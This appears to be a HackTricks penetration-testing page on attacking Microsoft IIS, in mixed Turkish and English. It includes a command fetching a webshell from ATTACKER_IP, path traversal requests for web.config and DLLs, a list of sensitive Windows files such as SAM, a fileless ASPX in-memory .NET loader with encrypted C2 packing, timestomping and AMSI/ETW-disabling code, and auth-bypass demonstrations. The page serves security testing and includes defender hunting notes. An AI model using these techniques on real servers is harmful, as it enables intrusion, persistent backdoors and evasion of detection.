IIS - Internet Information Services

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Test executable file extensions:

  • asp
  • aspx
  • config
  • php

Yazılabilir webroot → ASPX command shell

If a low-privileged user/group has write access to C:\inetpub\wwwroot, you can drop an ASPX webshell and execute OS commands as the application pool identity (often holding SeImpersonatePrivilege).

  • ACL’leri doğrulayın: icacls C:\inetpub\wwwroot or cacls . — kullanıcı/grubunuzda (F) arayın.
  • Bir komut webshell’i yükleyin (ör. fuzzdb/tennc cmd.aspx) PowerShell kullanarak:
iwr http://ATTACKER_IP/shell.aspx -OutFile C:\inetpub\wwwroot\shell.aspx
  • /shell.aspx isteğinde bulunun ve komutlar çalıştırın; kimlik tipik olarak iis apppool\defaultapppool olarak görünür.
  • AppPool token SeImpersonatePrivilege içeriyorsa, Potato-family LPE (örn., GodPotato/SigmaPotato) ile birleştirip SYSTEM’e pivot yapın.

Dahili IP Adresi ifşası

302 aldığınız herhangi bir IIS sunucusunda Host header’ını kaldırmayı ve HTTP/1.0 kullanmayı deneyebilirsiniz; yanıttaki Location header içinde sizi dahili IP adresine yönlendirebilir:

nc -v domain.com 80
openssl s_client -connect domain.com:443

İç IP’yi ifşa eden yanıt:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config dosyalarını çalıştırma

You can upload .config files and use them to execute code. One way to do it is appending the code at the end of the file inside an HTML comment: Download example here

More information and techniques to exploit this vulnerability here

IIS Discovery Bruteforce

Oluşturduğum listeyi indirin:

Aşağıdaki listelerin içeriklerinin birleştirilmesiyle oluşturuldu:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Herhangi bir uzantı eklemeden kullanın; gerekli uzantıya sahip dosyalar zaten listede mevcut.

Path Traversal

Leaking source code

Tam yazıyı şu adreste inceleyin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

Özetle, uygulamanın klasörleri içinde “assemblyIdentity” dosyalarına ve “namespaces” referanslarına sahip birden fazla web.config dosyası vardır. Bu bilgilerle çalıştırılabilir dosyaların nerede olduğunu öğrenmek ve bunları indirmek mümkün olur.
İndirilen Dlls’lerden yeni namespaces bulmak da mümkündür; bu namespaces’lere erişmeyi deneyip web.config dosyasını elde ederek yeni namespaces ve assemblyIdentity bulabilirsiniz.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.

In .Net MVC applications, web.config dosyası uygulamanın ihtiyaç duyduğu her ikili dosyayı “assemblyIdentity” XML etiketleri aracılığıyla belirterek kritik bir rol oynar.

İkili Dosyaların İncelenmesi

Aşağıda web.config dosyasına erişim örneği gösterilmiştir:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Bu istek, aşağıdaki gibi çeşitli ayarları ve bağımlılıkları ortaya çıkarır:

  • EntityFramework sürümü
  • web sayfaları, client validation ve JavaScript için AppSettings
  • kimlik doğrulama ve runtime için System.web yapılandırmaları
  • System.webServer modül ayarları
  • Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için Runtime assembly binding’leri

Bu ayarlar, /bin/WebGrease.dll gibi bazı dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.

Kök Dizin Dosyaları

Kök dizinde bulunan /global.asax ve /connectionstrings.config (hassas parolalar içerir) gibi dosyalar, uygulamanın yapılandırması ve çalışması için kritiktir.

Namespace’ler ve Web.Config

MVC uygulamaları, her dosyada tekrarlı beyanlardan kaçınmak için belirli namespace’ler için ek web.config dosyaları tanımlar; bu, başka bir web.config indirme isteğiyle gösterilmiştir:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLLs İndirme

Özel bir namespace’in belirtilmesi, /bin dizininde bulunan “WebApplication1” adlı bir DLL’e işaret eder. Bunun ardından WebApplication1.dll dosyasını indirme isteği gösterilmektedir:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL’lerin varlığına işaret eder.

Bir DLL WebApplication1.Areas.Minded adlı bir namespace’i referans alıyorsa, bir saldırgan /area-name/Views/ gibi öngörülebilir yollar üzerindeki diğer web.config dosyalarının, belirli yapılandırmalar ve /bin klasöründeki diğer DLL’lere referanslar içerebileceğini çıkarabilir. Örneğin, /Minded/Views/web.config isteği, başka bir DLL olan WebApplication1.AdditionalFeatures.dll’in varlığını gösteren yapılandırmaları ve namespace’leri ortaya çıkarabilir.

Yaygın dosyalar

Kaynak: here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Hatası

If you see an error like the following one:

Bu, sunucunun Host header içinde doğru domain adını almadığı anlamına gelir.
Web sayfasına erişmek için served SSL Certificate’a bakabilir ve domain/alt alan adını orada bulabilirsiniz. Eğer orada değilse doğru olanı bulana kadar brute force VHosts yapmanız gerekebilir.

Şifrelenmiş yapılandırmayı ve ASP.NET Core Data Protection key rings’i deşifre etme

IIS üzerinde barındırılan .NET uygulamalarında gizli bilgileri korumak için iki yaygın desen şunlardır:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider) — web.config bölümleri için, ör. .
  • ASP.NET Core Data Protection key ring (persisted locally) — uygulama gizli bilgileri ve cookie’leri korumak için kullanılır.

Eğer web sunucusunda filesystem veya interactive erişiminiz varsa, aynı yerde bulunan anahtarlar genellikle deşifreye izin verir.

  • ASP.NET (Full Framework) – protected config bölümlerini aspnet_regiis ile deşifre et:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – yerel olarak saklanan Data Protection key ring’lerini (XML/JSON dosyaları) şu gibi konumlarda arayın:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • Uygulama tarafından yönetilen klasör (örn. App_Data\keys veya uygulamanın yanındaki Keys dizini)

Key ring mevcut olduğunda, uygulamanın kimliğinde çalışan bir operator aynı purposes ile bir IDataProtector örneği oluşturup depolanan sırların korumasını kaldırabilir. Key ring’i uygulama dosyalarıyla birlikte saklayan yanlış yapılandırmalar, host ele geçirildiğinde offline deşifrelemeyi basit hale getirir.

IIS fileless backdoors and in-memory .NET loaders (NET-STAR style)

Phantom Taurus/NET-STAR toolkit, tamamen w3wp.exe içinde çalışan fileless IIS persistence ve post‑exploitation için olgun bir desen gösterir. Temel fikirler, özel tradecraft ve detection/hunting için geniş şekilde yeniden kullanılabilir.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: tek bir .aspx sayfası (örn. OutlookEN.aspx) Base64‑kodlu, isteğe bağlı olarak Gzip‑sıkıştırılmış bir .NET DLL taşır. Bir tetikleme isteği üzerine bunu decode eder, decompress eder ve reflectively olarak mevcut AppDomain’e yükleyip ana giriş noktasını (örn. ServerRun.Run()) çağırır.
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: görevler/sonuçlar Gzip → AES‑ECB/PKCS7 → Base64 ile paketlenir ve görünüşte meşru, cookie‑ağırlıklı istekler üzerinden taşınır; operatorler parçalama için sabit ayırıcılar (örn. “STAR”) kullanmıştır.
  • Reflective .NET execution: Base64 olarak gelen rastgele managed assembly’leri kabul eder, Assembly.Load(byte[]) ile yükler ve diskle uğraşmadan hızlı modül değişimleri için operator args geçirir.
  • Operating in precompiled ASP.NET sites: site precompiled olsa bile yardımcı shell/backdoor ekleyip yönetebilir (örn. dropper dinamik sayfalar/handler’lar ekler veya config handler’ları kullanır) – bypassPrecompiledApp, addshell, listshell, removeshell gibi komutlarla açığa çıkar.
  • Timestomping/metadata forgery: deployment sırasında (gelecekteki derleme zaman damgaları dahil) changeLastModified eylemi ve timestomp sağlayarak DFIR’i zorlaştırır.
  • Optional AMSI/ETW pre‑disable for loaders: ikinci aşama bir loader, in‑memory payload’ların incelenmesini azaltmak için Assembly.Load çağırmadan önce AMSI ve ETW’yi devre dışı bırakabilir.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

Packing/crypto yardımcıları (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session akışı ve komut yüzeyi

  • Session başlatma ve görevlendirme, normal web etkinliğiyle karışmak için cookies aracılığıyla taşınır.
  • Sahada gözlemlenen komutlar şunlardı: fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; ve bellek içi .NET yürütmesi için dinamik yürütme ilkelileri code_self, code_pid, run_code.

Timestomping aracı

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

Assembly.Load’dan önce inline AMSI/ETW devre dışı bırakma (loader varyantı)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

AMSI/ETW bypass techniques için bakın: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • Tek, tuhaf bir ASPX sayfası; çok uzun Base64/Gzip blob’ları; cookie‑heavy posts.
  • w3wp.exe içinde unbacked managed module’ler; Encrypt/Decrypt (ECB), Compress/Decompress, GetContext, Run gibi string’ler.
  • Trafikte “STAR” gibi tekrar eden delimiter’lar; ASPX/assemblies üzerinde uyumsuz veya hatta gelecekteki zaman damgaları.

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

Birçok ASP.NET uygulaması Telerik UI for ASP.NET AJAX’i embed eder ve kimlik doğrulaması gerektirmeyen handler Telerik.Web.UI.WebResource.axd’yi açığa çıkarır. Image Editor cache endpoint erişilebilirse (type=iec), dkey=1 ve prtype parametreleri herhangi bir public parametresiz constructor’ı pre‑auth olarak çalıştıran unsafe reflection’ı etkinleştirir. Bu, evrensel bir DoS primitive’i sağlar ve güvensiz AppDomain.AssemblyResolve handler’larına sahip uygulamalarda pre‑auth RCE’ye yükseltilebilir.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

Bu teknikle, keşfedilen her klasörün içindeki dosya ve klasörleri (Basic Authentication gerektirse bile) listelemeyi deneyebilirsiniz.
Eğer sunucu bu zafiyete sahipse, bu tekniğin ana sınırlaması her dosya/klasör adının ilk 6 harfine ve dosya uzantılarının ilk 3 harfine kadar bulabilmesidir.

Bu zafiyeti test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ayrıca metasploit kullanabilirsiniz: use scanner/http/iis_shortname_scanner

Keşfedilen dosyaların nihai adını bulmak için güzel bir fikir, https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py script’inde yapıldığı gibi seçenekler için LLM’lere sormaktır.

Basic Authentication bypass

Basic Authentication’ı bypass etmek (IIS 7.5) için şuna erişmeyi deneyin: /admin:$i30:$INDEX_ALLOCATION/admin.php veya /admin::$INDEX_ALLOCATION/admin.php

Bu zafiyeti ve önceki tekniği karıştırarak yeni klasörler bulmayı ve kimlik doğrulamasını bypass etmeyi deneyebilirsiniz.

ASP.NET Trace.AXD enabled debugging

ASP.NET bir debugging modu içerir ve dosyası trace.axd olarak adlandırılır.

Bu, bir uygulamaya yapılan tüm isteklerin belirli bir süre içindeki çok detaylı bir kaydını tutar.

Bu bilgiler uzak istemci IP’lerini, session ID’lerini, tüm istek ve yanıt cookie’lerini, fiziksel yolları, kaynak kodu bilgilerini ve potansiyel olarak kullanıcı adları ve şifreleri bile içerebilir.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH aşağıdaki bilgileri kullanır:

  • validationKey (string): imza doğrulaması için kullanılacak hex-encoded anahtar.
  • decryptionMethod (string): (varsayılan “AES”).
  • decryptionIV (string): hex-encoded initialization vector (varsayılan olarak sıfırlardan oluşan bir vector).
  • decryptionKey (string): decryption için kullanılacak hex-encoded anahtar.

Bununla birlikte, bazı kişiler bu parametrelerin varsayılan değerlerini kullanır ve cookie olarak kullanıcının e‑postasını kullanır. Bu yüzden, aynı platformu kullanan ve ASPXAUTH cookie’si kullanan başka bir web bulabilir ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e‑postası ile bir kullanıcı oluşturursanız, ikinci sunucudan aldığınız cookie’yi ilk sunucuda kullanarak kullanıcıyı taklit edebilme ihtimaliniz olabilir.
Bu saldırı şu writeup içinde çalışmıştır.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: Koddaki bir bug, kullanıcının verdiği şifreyi düzgün şekilde kontrol etmiyordu; bu yüzden şifre hash’i önbellekte zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

Kaynaklar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin